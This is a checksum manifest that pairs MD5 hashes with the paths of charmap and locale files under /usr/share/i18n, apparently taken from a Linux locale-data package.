/usr/share/i18n/charmaps/CP737.gz +41ab3fa4f4a45dc07c70999d67f3940e /usr/share/i18n/charmaps/CP775.gz +38a76dd5cf91b99b3795dce7b0a81a47 /usr/share/i18n/charmaps/CP949.gz +15adf6f4155e7e0f38fd6b0dfbd017c5 /usr/share/i18n/charmaps/DEC-MCS.gz +eca2192b497e8495f1cb3fc882bb6917 /usr/share/i18n/charmaps/CWI.gz +d74b909817e4035e4b4c1bccc8d2ac33 /usr/share/i18n/charmaps/CSA_Z243.4-1985-2.gz +aa099e994ec18e740a3f5788a6a5277e /usr/share/i18n/charmaps/CSA_Z243.4-1985-GR.gz +3803362a71ddb1d606c32cc2eefb8b07 /usr/share/i18n/charmaps/CSN_369103.gz +78fd27de05be73851887775d43e9aca2 /usr/share/i18n/charmaps/EBCDIC-AT-DE-A.gz +d71cf3140a5e6723d3f6862ce844ac01 /usr/share/i18n/charmaps/DIN_66003.gz +436af07512a53ccb8d9f4d9dab1f58cc /usr/share/i18n/charmaps/DS_2089.gz +7b86a4d4f857359a8f58398f8f4dbc74 /usr/share/i18n/charmaps/EBCDIC-DK-NO-A.gz +5e0f46e42d2a472b845f40204348d9f5 /usr/share/i18n/charmaps/EBCDIC-AT-DE.gz +ed34bbab569766ed9f11da75190e860a /usr/share/i18n/charmaps/EBCDIC-CA-FR.gz +c43710f49d2349a992f79e16d4800645 /usr/share/i18n/charmaps/EBCDIC-FI-SE-A.gz +3ff351e209803844fef3c30173766899 /usr/share/i18n/charmaps/EBCDIC-DK-NO.gz +fb2eecb7c5d7552be5b8112b8936e57b /usr/share/i18n/charmaps/EBCDIC-ES-A.gz +ef066e4cef2054999bdcc29548154499 /usr/share/i18n/charmaps/EBCDIC-ES-S.gz +f19423105554fc691940972d224b2caa /usr/share/i18n/charmaps/EBCDIC-ES.gz +5aecf3937c614770bc28c81943ef7db6 /usr/share/i18n/charmaps/EBCDIC-IS-FRISS.gz +f0d8034a4f133cba1624f7c7a9eee626 /usr/share/i18n/charmaps/EBCDIC-FI-SE.gz +1b6ac686e85fea6bb563776169357e22 /usr/share/i18n/charmaps/EBCDIC-FR.gz +e7216349f08cad9ab5455cb27d3d692f /usr/share/i18n/charmaps/ECMA-CYRILLIC.gz +cb442a4b7d1b59893d220b5964609803 /usr/share/i18n/charmaps/EBCDIC-IT.gz +ad180b783558f64c4809d62735c76921 /usr/share/i18n/charmaps/EBCDIC-PT.gz +02354f0a085a47616ac880a97969ff47 /usr/share/i18n/charmaps/EBCDIC-UK.gz +b7ce7bfe186654d7ba0ffb33a5d100a5 /usr/share/i18n/charmaps/EBCDIC-US.gz +2b25bd03130f235a98b122b6c9360df7 /usr/share/i18n/charmaps/EUC-JP.gz +77843c667747c867974cfb629684662b /usr/share/i18n/charmaps/ES.gz +ffcbc2653df1c741ced823cc5abfa78e /usr/share/i18n/charmaps/ES2.gz +4b7df77f33f270583bb4a891b5c04e7b /usr/share/i18n/charmaps/GB_1988-80.gz +806fdd2a2365e7299575ce06202eaafa /usr/share/i18n/charmaps/EUC-KR.gz +631cad8f2949b98d7850cb5e22425074 /usr/share/i18n/charmaps/EUC-TW.gz +b65c5e48d7ef533aab7e558423b1df02 /usr/share/i18n/charmaps/GB18030.gz +5bb84f239736759e91abd525613462b6 /usr/share/i18n/charmaps/GB2312.gz +87af5c323fc29c58b2d035bf068c2a89 /usr/share/i18n/charmaps/GBK.gz +4aead7732a9b9714643749b350168019 /usr/share/i18n/charmaps/JIS_C6220-1969-JP.gz +9761f1cd479856017fd83e1d3263e4f0 /usr/share/i18n/charmaps/GEORGIAN-ACADEMY.gz +79e73472b1393bd8bd871d0d0b95e5b2 /usr/share/i18n/charmaps/GEORGIAN-PS.gz +bba37998abbb7c1e396b8da3eb21980c /usr/share/i18n/charmaps/GOST_19768-74.gz +5cb2749e0e0cdb678ae6121ea53ee361 /usr/share/i18n/charmaps/GREEK-CCITT.gz +39a5ef803b18982bf431e722552975ce /usr/share/i18n/charmaps/GREEK7-OLD.gz +ee0ff1edc3011b04d3cc57942cdc9d5a /usr/share/i18n/charmaps/GREEK7.gz +8017b4d621975e63c3d512a9d4205ac5 /usr/share/i18n/charmaps/HP-ROMAN8.gz +78b316f7430131c2f13e03298a311572 /usr/share/i18n/charmaps/IBM037.gz +4fd52bfd78a0eb1634c5dfd797dbce4b /usr/share/i18n/charmaps/IBM038.gz +863e6166ee4106535ac0a94928b82e26 /usr/share/i18n/charmaps/IBM1004.gz +81e600ec435016e7250e9cc35884426f /usr/share/i18n/charmaps/IBM1026.gz +393c8aa195e548d51100b5e8544bb77b /usr/share/i18n/charmaps/IBM1047.gz +ea22ea82d69d78c8f50a1e609ca5aa80 /usr/share/i18n/charmaps/IBM256.gz +ec3c5cb06be7de35ff7fc6c349fef6f8 /usr/share/i18n/charmaps/IBM273.gz +9917d15977d442391ad9d2a275813a95 /usr/share/i18n/charmaps/IBM274.gz +36f95b1fc88c95d07224586a78a4cc42 /usr/share/i18n/charmaps/IBM275.gz +473ba90adcde781094a5ef2a8c5fbd45 /usr/share/i18n/charmaps/IBM277.gz +fac941bbd824e8d3c4b88a70cfbc012b /usr/share/i18n/charmaps/IBM278.gz +5010d2904df14028043ad9f71ff9a5ca /usr/share/i18n/charmaps/IBM280.gz +fc02463eafd2329f5dd8e410287b38e2 /usr/share/i18n/charmaps/IBM281.gz +09bf74cf4fbcb8f84c34073f1eab1096 /usr/share/i18n/charmaps/IBM284.gz +ff6364fb09ac3e5007204f0c1d848b68 /usr/share/i18n/charmaps/IBM285.gz +118ef58c3f6e15aeaa85425c33f556d5 /usr/share/i18n/charmaps/IBM290.gz +1faf7a8aa889c20ceceedc0b52b81121 /usr/share/i18n/charmaps/IBM297.gz +26b88c33cd1e2d8db171f506e8a4962a /usr/share/i18n/charmaps/IBM420.gz +22eed04a84e90e6f5896cb44663a38bd /usr/share/i18n/charmaps/IBM423.gz +092bc2686e0d41dd3dc701d453503c0b /usr/share/i18n/charmaps/IBM424.gz +a4ab6a0367a20ee578d5f5404f02f014 /usr/share/i18n/charmaps/IBM437.gz +00f2ec83fc05ca85d9179858c3febb7b /usr/share/i18n/charmaps/IBM500.gz +3d0db3eff6f43eed06f98f161bc2cefb /usr/share/i18n/charmaps/IBM850.gz +f9db924dce5fe97e6857115de9c27a07 /usr/share/i18n/charmaps/IBM851.gz +f85451261d55c0c136e7404f5e57aa6a /usr/share/i18n/charmaps/IBM852.gz +81060adbbd66df4dd07d5a8c51008922 /usr/share/i18n/charmaps/IBM855.gz +33d34ecaccb8338b007482ed5b28a646 /usr/share/i18n/charmaps/IBM857.gz +74d53ca98c3358742d397794537df544 /usr/share/i18n/charmaps/IBM860.gz +234429f5e6ea35bb2fc0194acce5a9c5 /usr/share/i18n/charmaps/IBM861.gz +719eb7145f996afb3f2dc7c3325dcb50 /usr/share/i18n/charmaps/IBM862.gz +6f61d7a83fcd9389159b5de0e04ddd4c /usr/share/i18n/charmaps/IBM863.gz +bc78d16ff6769a8fe3f85272af83d730 /usr/share/i18n/charmaps/IBM864.gz +87740793f8c8637bf9aa2874da9c9ff7 /usr/share/i18n/charmaps/IBM865.gz +4f0349a73bc4dcf8630355890bbe4636 /usr/share/i18n/charmaps/IBM866.gz +c074f25912b0c08e06b7aa7ed43e4627 /usr/share/i18n/charmaps/IBM868.gz +cc1d87d488f87ba7eb3b5b455a6f087f /usr/share/i18n/charmaps/IBM869.gz +d41a19f97c60011cfb49c48a0f8801e8 /usr/share/i18n/charmaps/IBM870.gz +59c3df3a83a1fd326516664358fc1cc1 /usr/share/i18n/charmaps/IBM871.gz +3ba6089ca53b02e28faec8d954a0636f /usr/share/i18n/charmaps/IBM874.gz +6e3ce9dd3b29d5f44c68f5111c08b7d0 /usr/share/i18n/charmaps/IBM875.gz +e6e809d789d6b6b34f864e2a7b8c608a /usr/share/i18n/charmaps/IBM880.gz +a61406ea6717b4577968cb97b69b7866 /usr/share/i18n/charmaps/IBM891.gz +c4f490ca2cf80017314cc137e18484ce /usr/share/i18n/charmaps/IBM903.gz +fcb15e84f89862245a0d787d2f7275aa /usr/share/i18n/charmaps/IBM904.gz +d7946641058a3380e3ae0292c6d7f8b2 /usr/share/i18n/charmaps/IBM905.gz +66047c4e721072579985466d06143caf /usr/share/i18n/charmaps/IBM918.gz +f4f3e8fc1343a5de3e26bea4afc15e69 /usr/share/i18n/charmaps/IEC_P27-1.gz +4053151d3a0807824228bdfecb051426 /usr/share/i18n/charmaps/INIS-8.gz +94d9f468deec5c72dc81c2e3548f9e68 /usr/share/i18n/charmaps/INIS-CYRILLIC.gz +83b83baa9cfcf745d20a7532c9385268 /usr/share/i18n/charmaps/INIS.gz +77850d351555f8e8975de45d0be05e4f /usr/share/i18n/charmaps/INVARIANT.gz +c6b3b119b277380eed81560f70334086 /usr/share/i18n/charmaps/ISIRI-3342.gz +261670ae17667b35235af465cfedd32c /usr/share/i18n/charmaps/ISO-8859-1.gz +1e096bb4c2a1e9ed354a25337063343c /usr/share/i18n/charmaps/ISO-8859-10.gz +431edd59de5ab26907ab1c61f5f1f2d9 /usr/share/i18n/charmaps/ISO-8859-13.gz +37cd4420d721bfee1d6baa9e5e860749 /usr/share/i18n/charmaps/ISO-8859-14.gz +fae253b37127475c6804ff0af22d1c2f /usr/share/i18n/charmaps/ISO-8859-15.gz +61f970d5c205f7f6180007c132381cef /usr/share/i18n/charmaps/ISO-8859-16.gz +af7076497c5742d26382d68b74272c9e /usr/share/i18n/charmaps/ISO-8859-2.gz +a50ba4589568afc7e3aa123db360880d /usr/share/i18n/charmaps/ISO-8859-3.gz +15ceb42bfe4e6da102c5f62b46fd0676 /usr/share/i18n/charmaps/ISO-8859-4.gz +7d781cf865c44615925fd842a568b4a4 /usr/share/i18n/charmaps/ISO-8859-5.gz +e0dd1a586ce64096ed7bb11e4633ae4a /usr/share/i18n/charmaps/ISO-8859-6.gz +965b74ec5a683676dfe67b48d255ab8c /usr/share/i18n/charmaps/ISO-8859-7.gz +48dd414331e6fe6bbde94ebcc6f200ce /usr/share/i18n/charmaps/ISO-8859-8.gz +545d9ed70cf9a13268e51e7e7fa31613 /usr/share/i18n/charmaps/ISO-8859-9.gz +1cce5872806b05a7b5446e58a05a36b6 /usr/share/i18n/charmaps/ISO-IR-197.gz +54174cbbcac02bd70fddd728a144296b /usr/share/i18n/charmaps/ISO-IR-209.gz +a8d37e886e4c9be1b560d78331890fd3 /usr/share/i18n/charmaps/ISO-IR-90.gz +511e3f090d3726f3533341151397fab4 /usr/share/i18n/charmaps/ISO_10367-BOX.gz +9f444c2d745b659703abdc4f0b228ca7 /usr/share/i18n/charmaps/ISO_10646.gz +51821d561c0d30e5b5a766ed067c0483 /usr/share/i18n/charmaps/ISO_2033-1983.gz +9afb217bd34fa127ad95a87d9424bf6f /usr/share/i18n/charmaps/ISO_5427-EXT.gz +2001c92ea12f712b01939ec886b4045d /usr/share/i18n/charmaps/ISO_5427.gz +3980a0795251ac870ebe49456b417be7 /usr/share/i18n/charmaps/ISO_5428.gz +b4458387633aa59a3792d152bbaeb8f5 /usr/share/i18n/charmaps/ISO_646.BASIC.gz +b9f857dc3d11b4007d5d2ae855e0acf6 /usr/share/i18n/charmaps/ISO_646.IRV.gz +8f42d6e100d5bce4cef6ca670a04544c /usr/share/i18n/charmaps/ISO_6937-2-25.gz +647dc9ad04f66b70dfe890d5f1ed159a /usr/share/i18n/charmaps/ISO_6937-2-ADD.gz +8c32ec5d1b842095d2002f7e4e9b5dac /usr/share/i18n/charmaps/ISO_6937.gz +2406b3ebba992ea7884970f045413b36 /usr/share/i18n/charmaps/ISO_8859-1,GL.gz +2c5d65cca117c499a3f011b5410717e0 /usr/share/i18n/charmaps/ISO_8859-SUPP.gz +73a98c1e171be50939863625b5bf4970 /usr/share/i18n/charmaps/IT.gz +8c8f11debb32231f10d2a44d2d7eb1df /usr/share/i18n/charmaps/JIS_C6229-1984-HAND-ADD.gz +d04f0cc13001694b36cdfba0a9445f7c /usr/share/i18n/charmaps/JIS_C6220-1969-RO.gz +e9988f1c2d19134d9e42fa621c8ae26c /usr/share/i18n/charmaps/JIS_C6229-1984-A.gz +5ad2fd4857a18cd129f99e66716f8b2a /usr/share/i18n/charmaps/JIS_C6229-1984-B-ADD.gz +528d8e8416a4ce9928829a0d7afee7f6 /usr/share/i18n/charmaps/JIS_C6229-1984-B.gz +c7b7013a3989149dfd25187c03eaeb7c /usr/share/i18n/charmaps/SAMI-WS2.gz +4b51747715d91aebc7b315a1aff4915d /usr/share/i18n/charmaps/PT.gz +c96a7d60033a463c76139a4688a56999 /usr/share/i18n/charmaps/JIS_C6229-1984-HAND.gz +08f2c80f6cdbf5b1163f6f7a140b4fe0 /usr/share/i18n/charmaps/JIS_C6229-1984-KANA.gz +6f1e3cbae4d8a203b1027c3d5025c790 /usr/share/i18n/charmaps/JIS_X0201.gz +16585a641119eeac6a38df39769dfa79 /usr/share/i18n/charmaps/JOHAB.gz +06eabf674f3bbc0eaa5df5e1501e0312 /usr/share/i18n/charmaps/JUS_I.B1.002.gz +c8e970f16cfc489fad8ebc938a2d3259 /usr/share/i18n/charmaps/JUS_I.B1.003-MAC.gz +21e9fc398b3503af125d7f5000bef312 /usr/share/i18n/charmaps/JUS_I.B1.003-SERB.gz +abfef0db8c2e3ccca4115eb223930dce /usr/share/i18n/charmaps/KOI-8.gz +854445b23a40a864b79f3a3e8a31cf04 /usr/share/i18n/charmaps/KOI8-R.gz +0ac82138de6857b1b3347baf8a571ab9 /usr/share/i18n/charmaps/KOI8-T.gz +da3d77c00d7c6868e68dd11d37922a36 /usr/share/i18n/charmaps/KOI8-U.gz +42de3e90dd2a480e106bcfeb0b4bfe9f /usr/share/i18n/charmaps/KSC5636.gz +ffca7a605dbf84b1f82b5bec5b5ba338 /usr/share/i18n/charmaps/LATIN-GREEK-1.gz +4a1b13f51c44b9c1e09ed6cb1fa68908 /usr/share/i18n/charmaps/LATIN-GREEK.gz +36392231dc7f478d7bc183e253e1ba4e /usr/share/i18n/charmaps/MAC-CYRILLIC.gz +2419d6bbf2aba0e848195ca2b4e8a681 /usr/share/i18n/charmaps/MAC-IS.gz +44708c9d34ebae14487ab5e2f6c63eea /usr/share/i18n/charmaps/MAC-SAMI.gz +93b34ce1d73cb6792e89607b667744d2 /usr/share/i18n/charmaps/MAC-UK.gz +8cb4e4adc4c67b487eb13db3357e0f45 /usr/share/i18n/charmaps/MACINTOSH.gz +02559641f7665d4a31720c09fc6ab805 /usr/share/i18n/charmaps/MSZ_7795.3.gz +70a6f2e0e3edb24140e3149568a7fe70 /usr/share/i18n/charmaps/NATS-DANO-ADD.gz +b2ff9c2f85771b8e1d904555ad308e63 /usr/share/i18n/charmaps/NATS-DANO.gz +ba3fd9fc8a48316dee8c2c44832bc169 /usr/share/i18n/charmaps/NATS-SEFI-ADD.gz +a477d8d9a81f64af516e5482b12ea078 /usr/share/i18n/charmaps/NATS-SEFI.gz +11ef6dca18fec0709b6f5460720daec9 /usr/share/i18n/charmaps/NC_NC00-10.gz +95ff12654a5729f18e9174213feddace /usr/share/i18n/charmaps/NEXTSTEP.gz +8c71bf29eba73514567ea5282c1eb9f8 /usr/share/i18n/charmaps/NF_Z_62-010.gz +16b9aef9c7418ebad4e461bb197c6776 /usr/share/i18n/charmaps/NF_Z_62-010_1973.gz +4309f80b7c535943ca2d65e6377ef8f3 /usr/share/i18n/charmaps/NS_4551-1.gz +5c0ba8d487c1ca6ccf9ba5782abc7f0d /usr/share/i18n/charmaps/NS_4551-2.gz +4a43ba222b7e511f3fdd1f6912726db5 /usr/share/i18n/charmaps/PT2.gz +065b79dda74353d9d1846eb8d323697a /usr/share/i18n/charmaps/SEN_850200_B.gz +56e8c0012afacb5024f719395d521ba7 /usr/share/i18n/charmaps/SAMI.gz +30cf91e23dacf40c421a05ad59de00d6 /usr/share/i18n/charmaps/VIDEOTEX-SUPPL.gz +faaf45e2b416a5629c21c78b35332b5c /usr/share/i18n/charmaps/SEN_850200_C.gz +3d684f6646e8c99b0e349838cbaf06f8 /usr/share/i18n/charmaps/SHIFT_JIS.gz +bdcea59b416c26ed648c22d42ee2c892 /usr/share/i18n/charmaps/T.101-G2.gz +f8fe2f6fbfa0489683a9bf6f492b3f00 /usr/share/i18n/charmaps/T.61-7BIT.gz +a5550a67b5a3e94ccb96b479a11b189a /usr/share/i18n/charmaps/T.61-8BIT.gz +f52554e754156577b32f2ea0863a1c7e /usr/share/i18n/charmaps/TIS-620.gz +61e87c8b77793acc9e7967fc401f66a2 /usr/share/i18n/charmaps/UTF-8.gz +b47e6853ff0b4f06aaafa248814be383 /usr/share/i18n/charmaps/VISCII.gz +955c07ee54fe75e36a5899c0a6c17b01 /usr/share/i18n/locales/ca_ES@euro +75a57c202a85a70e526df48b76020fe9 /usr/share/i18n/locales/POSIX +457ee847dd7a116f2f32dc42c4d2e618 /usr/share/i18n/locales/af_ZA +ec686612bbb9a4ed799267dd22f7987a /usr/share/i18n/locales/am_ET +fec3397642d45c5208fa70d956172626 /usr/share/i18n/locales/ar_AE +681e05e86a0a07842547d855f934d829 /usr/share/i18n/locales/ar_BH +bec775783856166f021ba99784a3e45d /usr/share/i18n/locales/ar_DZ +7843c84c076edc1b40aa299742e2db62 /usr/share/i18n/locales/ar_EG +36ca1f53ee3459dc8b7625147d6dc9c1 /usr/share/i18n/locales/ar_IN +7f1418fb9cb8fca35dc39f4956e2c542 /usr/share/i18n/locales/ar_IQ +3de70d3d4e2734885cc037b931dc20df /usr/share/i18n/locales/ar_JO +5675e747cde2c3b5fcb9fb137b93e57b /usr/share/i18n/locales/ar_KW +f2f4c3c8d936c6b81665f32b7855466c /usr/share/i18n/locales/ar_LB +ed14bac539f84e457679acd2d30f946f /usr/share/i18n/locales/ar_LY +b8a696a52bae6257fa9568f184ed08d0 /usr/share/i18n/locales/ar_MA +cfb021ac947cc63c38cfad98030b4511 /usr/share/i18n/locales/ar_OM +4c453c63b94b75dcef3afb394b7e09d9 /usr/share/i18n/locales/ar_QA +4a6ccc5c573e36016f9606ca2ec998e2 /usr/share/i18n/locales/ar_SA +2a7784e4d6806ef14cafbb20f5e90f5b /usr/share/i18n/locales/ar_SD +1c6f4fdfcf1646d19d929c5b888cdc74 /usr/share/i18n/locales/ar_SY +5bf7bc4fec4bb6cca16fdcfb333e7fa7 /usr/share/i18n/locales/ar_TN +8876594529e9dad27cde50df1314b638 /usr/share/i18n/locales/ar_YE +4950332376ac7f49bde921607bf8b3b5 /usr/share/i18n/locales/az_AZ +5e622fc74875aaf98e8ac14bb455a2f5 /usr/share/i18n/locales/be_BY +1a64bebb6b4a748bb625317b160a7f65 /usr/share/i18n/locales/bg_BG +0d0f6402010da4cb1bde6088e0a3163e /usr/share/i18n/locales/bn_IN +b63f6f82e10c7fe27e2f4f248710ea76 /usr/share/i18n/locales/br_FR +70c92650a64296d270824bd348377cc2 /usr/share/i18n/locales/bs_BA +10abf5c84166261cbf5e8781301eadc4 /usr/share/i18n/locales/ca_ES +a5e030b1fc8b5b880074d9e8ed1e053b /usr/share/i18n/locales/de_AT@euro +6dc1d5ffa23e21feadcf81366d972907 /usr/share/i18n/locales/cs_CZ +a738a1d84e58ced722161a0c63109b21 /usr/share/i18n/locales/cy_GB +999c6345303d86fdcac50bfeedd486d7 /usr/share/i18n/locales/da_DK +566169523b25983d5569cf69c2541927 /usr/share/i18n/locales/de_AT +09f7eb7cbd27524a26ba085ebefcb6f0 /usr/share/i18n/locales/de_BE@euro +f64a5013c0e550bf33e813bd61db576a /usr/share/i18n/locales/de_BE +fb4e9716720eff400d3a45994dca890f /usr/share/i18n/locales/de_DE@euro +3323553d9ee502b0e63a723623266432 /usr/share/i18n/locales/de_CH +f91bb67bf14be1ca194b3d19b359679d /usr/share/i18n/locales/de_DE +38c52f5bc24131b1c5a54c25019d3df4 /usr/share/i18n/locales/de_LU@euro +22fc835a879b1d308f1596fbad1d63bf /usr/share/i18n/locales/de_LU +5de916250159847ebb1548ce3bba812b /usr/share/i18n/locales/el_GR@euro +fb275e374bbb19f0ebd78b74276a21ee /usr/share/i18n/locales/el_GR +b7577241a8ee829fd065ee4b9f94268b /usr/share/i18n/locales/en_IE@euro +d06cd17d0944af0d8805c89e6d4fde19 /usr/share/i18n/locales/en_AU +d43afbe5ba7e63d53d91d43ba81f1186 /usr/share/i18n/locales/en_BW +9342fe09a131f1132b28e7e5fe14f9de /usr/share/i18n/locales/en_CA +a1207363c4095e0b673bcc1b49e83aa5 /usr/share/i18n/locales/en_DK +a0c4f8032f09bbbc642cb72c3fb24b23 /usr/share/i18n/locales/en_GB +c339d79ffb50a5a4f5cbc1b0c3440805 /usr/share/i18n/locales/en_HK +36aca097f91fca4fe5cb3cf65c07d3b7 /usr/share/i18n/locales/en_IE +e0b294d892ee4ae3818b4fd5c9d2e9b5 /usr/share/i18n/locales/es_ES@euro +2fbd7f240fdb5df2ef8930a226c65b4f /usr/share/i18n/locales/en_IN +155f110e81b60919aafc4c19cca69844 /usr/share/i18n/locales/en_NZ +26705f63153dc885cd3ed689950b732a /usr/share/i18n/locales/en_PH +3c0345df097adb223a8b0a3452525d9b /usr/share/i18n/locales/en_SG +92e303b805f4764fc4673c6b91dcc727 /usr/share/i18n/locales/en_US +69ef0afcf4d89a33c9f299dafa3634d4 /usr/share/i18n/locales/en_ZA +7ad745cfd65235a822a8df609fbde6be /usr/share/i18n/locales/en_ZW +2b8b723bacd503d19c954c114892c6b7 /usr/share/i18n/locales/es_AR +c6a229ca597b87d76f4dab984b81269a /usr/share/i18n/locales/es_BO +82d08d10a6b495642d29e10881db125e /usr/share/i18n/locales/es_CL +d5c0e6d7a7cf3b78c10d01488e56bac6 /usr/share/i18n/locales/es_CO +43c977fb2e8c5cf8ebc22e540394c9c5 /usr/share/i18n/locales/es_CR +e8e40390b325bda7745c35dcf21ed85b /usr/share/i18n/locales/es_DO +c1def851b7ca998398ef050f5f427886 /usr/share/i18n/locales/es_EC +82f6aae289d5ffe73948fff1857fd369 /usr/share/i18n/locales/es_ES +425dea94a607159ca347683ad54bd01c /usr/share/i18n/locales/eu_ES@euro +2b48ad6a533e2be0e276309e8d850176 /usr/share/i18n/locales/es_GT +2b93a8311856003ac1a8d99c953384fe /usr/share/i18n/locales/es_HN +8c4dac544d27d7e13be46f41a7faffc1 /usr/share/i18n/locales/es_MX +05a1608d55defa7b3365675fcf877447 /usr/share/i18n/locales/es_NI +52cf11d5a1177f0559184b2c9809a646 /usr/share/i18n/locales/es_PA +7676d6ef45b605dc41ca263a0281e104 /usr/share/i18n/locales/es_PE +8b71100af8e3368b72adb5245ca09ea4 /usr/share/i18n/locales/es_PR +8b018e757da1484cb871b57232d541b6 /usr/share/i18n/locales/es_PY +a127d052ef4296077cf471e74f512ea3 /usr/share/i18n/locales/es_SV +fd0e34704a9924e5c5fa4d8c036ea2cb /usr/share/i18n/locales/es_US +11cf1cc98949dfdd46a809132567708d /usr/share/i18n/locales/es_UY +23d39b096e723bc42bacf47f178fcd8f /usr/share/i18n/locales/es_VE +0cacce3d2ea3cdf629199fa9860cdbc7 /usr/share/i18n/locales/et_EE +967baad0ac7b8f2802a850bc563157a4 /usr/share/i18n/locales/eu_ES +a45b30f18b0a6bc558c69f961fdeee0a /usr/share/i18n/locales/fi_FI@euro +05c9049758607a64decd14cc77e5dd2f /usr/share/i18n/locales/fa_IR +15d25d24a22c550a8522a521ce4b5303 /usr/share/i18n/locales/fi_FI +37e8cca39c4374a84d932e969c8ea2bb /usr/share/i18n/locales/fr_BE@euro +72dce48480391d4511ea5652addb7a7f /usr/share/i18n/locales/fo_FO +dbb889edabe5f87d3e8d23f2c18c835e /usr/share/i18n/locales/fr_BE +a698352728dc802d46d17913dcb58c97 /usr/share/i18n/locales/fr_FR@euro +27350ff5edcbad23a3cbaf51e5ce9516 /usr/share/i18n/locales/fr_CA +85cfedbae2635ff3cc6c020e4fedae77 /usr/share/i18n/locales/fr_CH +926c623976ba54ba9727b634a5ab0df0 /usr/share/i18n/locales/fr_FR +451512bb85b32d5df8c61d6f28a20a77 /usr/share/i18n/locales/fr_LU@euro +7e656b38a598b87f67a361934f07abd2 /usr/share/i18n/locales/fr_LU +cadba13c120b49d55da51ed3e62f2aa9 /usr/share/i18n/locales/ga_IE@euro +415f3482d916e1828651d38cf7b88dcd /usr/share/i18n/locales/ga_IE +ba9a22cee1e18923c34e00a63a6d8f8b /usr/share/i18n/locales/gl_ES@euro +371b5a1fbfe1c2f85702e73cc422144f /usr/share/i18n/locales/gd_GB +2ee1e9835f1b56d5dbdc1d29e4b83c78 /usr/share/i18n/locales/gl_ES +6ed77a9d22b0fac3ef22a5f640370e59 /usr/share/i18n/locales/iso14651_t1 +843a63c023de548c5bd68a6501b6111f /usr/share/i18n/locales/gv_GB +4d922b7c685e1fc1e1a82a442d682750 /usr/share/i18n/locales/he_IL +50316cb01e3d71ad62ece1d1d3c07dee /usr/share/i18n/locales/hi_IN +076594c8fca0d8cba6025bc84c632955 /usr/share/i18n/locales/hr_HR +0912f1da54d8f3ec62461f5d21c65901 /usr/share/i18n/locales/hu_HU +fbbbf45334e1e194ab1a97c86021a0de /usr/share/i18n/locales/hy_AM +e86cf91a87d5bb57700b64a3722ed960 /usr/share/i18n/locales/i18n +ce85601a76ae2614f8bda0f32dffdc1c /usr/share/i18n/locales/id_ID +e3d0a177f9a9560db6030c747681371b /usr/share/i18n/locales/is_IS +623639aebfd8366f120b551b1d5c4115 /usr/share/i18n/locales/it_IT@euro +3eb074e32f7c47e55b7fc87f4f95ed1f /usr/share/i18n/locales/it_CH +445cf1ef7b50587a1bb98e34844861d6 /usr/share/i18n/locales/it_IT +b8fe92bcb67bd9ce8881245265bc0921 /usr/share/i18n/locales/nl_BE@euro +dee0aaa5f8231e8de0ef07b957f54e9e /usr/share/i18n/locales/iw_IL +670e8aa17ac05f3d87e02b7b30d821dc /usr/share/i18n/locales/ja_JP +91e1303b1a2178d1d65fc1680aeeee73 /usr/share/i18n/locales/ka_GE +be1c55fb66abca09de958efda88a2fd2 /usr/share/i18n/locales/kl_GL +865f5d644d53748cc899ab7efa3f43ee /usr/share/i18n/locales/ko_KR +18606681228f2b3657000b540156d26c /usr/share/i18n/locales/kw_GB +b167f637994d4e0dc63278afead20e70 /usr/share/i18n/locales/lt_LT +afc1712af84f72d2ef7df4017d032d0a /usr/share/i18n/locales/lv_LV +736f907d676339c1491ef9b05fd72d43 /usr/share/i18n/locales/mi_NZ +e5ea9d27b7a744398b7172d217e0fcf4 /usr/share/i18n/locales/mk_MK +b84eb46c82ab6b9d62a2488bdcc20424 /usr/share/i18n/locales/mr_IN +d1eaac030c254e834a01fe70db83fe79 /usr/share/i18n/locales/ms_MY +2ae5e91e377119bf82807007dc4a9034 /usr/share/i18n/locales/mt_MT +f5c3f7b9407b830f81f6fa436025cf8b /usr/share/i18n/locales/nl_BE +4e61225cc363669b0ea2d33fcb55ef32 /usr/share/i18n/locales/nl_NL@euro +5a0f4000107f44ea54894ca13ae1e0f3 /usr/share/i18n/locales/nl_NL +5691788957d5d778d65e73c922d481d0 /usr/share/i18n/locales/pt_PT@euro +e0c8f075f207f0eeae0126a828e7b002 /usr/share/i18n/locales/nn_NO +a86ea555ce5e065b89078a57d1b589dc /usr/share/i18n/locales/no_NO +e08b57d42540a5f6b9583cf0b307e16d /usr/share/i18n/locales/oc_FR +61db41e87b2be70fca31faf1cdae2507 /usr/share/i18n/locales/pl_PL +00018d0456c949f1e4e6039667a3ce18 /usr/share/i18n/locales/pt_BR +37acc4f6484952479f0eb3572f28a6a7 /usr/share/i18n/locales/pt_PT +fb7d627a12ee2f0cbfd99ebaf8ceeadb /usr/share/i18n/locales/sr_YU@cyrillic +7f22da8067aae183e4b9f8f2c4c50bb0 /usr/share/i18n/locales/ro_RO +87030de9292c9b3f11d4947e3ae39389 /usr/share/i18n/locales/ru_RU +b12d40e940af0a7475981a88a7c2efe8 /usr/share/i18n/locales/ru_UA +b90424a5fa153de8b87d0ea50ddf4b88 /usr/share/i18n/locales/sk_SK +fcc825d97cd9c9c28cc9dcdb9b1765c7 /usr/share/i18n/locales/sl_SI +62791e8307a9d3752a84e57af6e6a8e2 /usr/share/i18n/locales/sq_AL +cb74d9ee348533ef6bbae6c4d083a4af /usr/share/i18n/locales/sr_YU +3bbf9a4b501088ecc575ae72df849afc /usr/share/i18n/locales/sv_FI@euro +4ef891cdce4c0a55cfcda7e6af47a1e2 /usr/share/i18n/locales/sv_FI +b80eae28bcceaa2cb0e0833b3f8a8ffc /usr/share/i18n/locales/translit_circle +5a701d70fe35593d72189710b5d60976 /usr/share/i18n/locales/sv_SE +20dfa47f8fcc69a25b409360e21d1e06 /usr/share/i18n/locales/ta_IN +d2bd445b112ea8e998eea01a10b48b97 /usr/share/i18n/locales/te_IN +9c6e97d831e4c5d0007c953608941699 /usr/share/i18n/locales/tg_TJ +7458dfdde63948d01803b295b78413f8 /usr/share/i18n/locales/th_TH +d3c091b02609fc25d04d0f8be47e516f /usr/share/i18n/locales/ti_ER +4605b89d558632b768520d4172c16d10 /usr/share/i18n/locales/ti_ET +540b861887bb8097c5f3f392eb5447e2 /usr/share/i18n/locales/tl_PH +9caae50a0a43718c035abec934bf9239 /usr/share/i18n/locales/tr_TR +1974543ca5f2d3ade1381476d43aeb30 /usr/share/i18n/locales/translit_cjk_variants +9ffb65ad31cde2d2cd0404d1a9c3ca12 /usr/share/i18n/locales/translit_cjk_compat +ce05487442a4c295f9643bec6f3cfeb2 /usr/share/i18n/locales/translit_combining +cd6664f33b22cd701215760421bda342 /usr/share/i18n/locales/translit_compat +a7bf06733aa33711c79b1884ebc1d16b /usr/share/i18n/locales/translit_et 